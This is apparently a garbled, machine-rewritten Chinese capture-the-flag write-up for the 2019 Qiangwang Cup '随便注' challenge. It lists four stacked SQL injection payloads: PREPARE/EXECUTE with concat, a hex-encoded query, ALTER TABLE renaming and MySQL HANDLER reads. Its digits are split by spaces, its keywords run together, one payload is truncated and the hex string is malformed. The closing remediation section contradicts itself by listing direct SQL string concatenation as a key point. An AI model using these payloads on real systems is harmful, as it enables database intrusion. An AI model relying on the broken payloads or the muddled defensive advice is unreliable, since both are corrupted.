[强网杯 2019]随便注 1【SQL注入】四种解法

粗略地说,解决强王杯2 01 9 中的SQL注入问题其实很简单。
我们先来说说最重要的事情。
输入“1 ’or1 =1 ”进行测试后,发现错误信息“error1 06 4 ”,这表明存在SQL注入的可能性。
还有一件事:当手动检查数据表的结构时,请使用“unionselect1 ,2 ;”确定字段的数量。
这是一个基本操作。
还有一个更重要的细节。
当系统过滤SQL关键字时,我们必须使用堆栈注入来绕过它。

一开始我以为直接输入注释字符就可以输出数据,后来发现这是错误的,需要先确定字段的个数。
等等,还有一件事:预编译技术是一个好方法。
例如,实现运算符“1 ';PREPAREhackerfromconcat('s','elect','from1 9 1 9 8 1 09 3 1 1 1 4 5 1 4 ');EXECUTEhacker;”成功接收flag信息。

事实上,这很难。
很多人不注意这一点。
他们直接将SQL语句编码为十六进制或者通过定义变量来初始化SQL然后执行,比如“1 ”; ;EXECUTEhacker;".或者"1 ';Set@jia=0x7 3 6 5 6 c6 5 6 3 7 4 2 02 a2 06 6 7 2 6 f6 d2 06 03 1 3 9 3 1 3 9 3 8 3 1 3 03 9 3 3 3 1 3 1 3 1 3 4 3 5 3 1 3 4 6 0;PREPAREhackerfrom@jia;EXECUTEhacker;",这也是一个有效的方法。

换表名称和列名也是一种方法,例如通过引入运算符“1 ';altertablewordsrenametowords1 ;altertable1 9 1 9 8 1 09 3 1 1 1 4 5 1 4 renametowords;altertablewordschangeflagidvarchar(5 0);”直接输出一个flag。
最后,还可以使用Mysql的HANDLE函数直接读取数据。
“1 ';HANDLER1 9 1 9 8 1 09 3 1 1 1 4 5 1 4 OPEN;HANDLER1 9 1 9 8 1 09 3 1 1 1 4 5 1 4 READFIRST;HANDLER1 9 1 9 8 1 09 3 1 1 1 4 5 1 4 CLOSE;”可以做到这一点
我认为这些方法值得尝试,但实现它们的关键是要灵活地选择适合您的特定环境的方法。

sql注入漏洞解决方法 sql注入漏洞修复方案

这里有一个要点:直接连接 SQL 字符串。
不信:你以为存储过程可以完全防止SQL注入。
不要这样做:仅依靠输入验证和转义来防止 SQL 注入。

实用提醒:始终使用参数化查询和 ORM 框架,并定期进行安全审计和测试。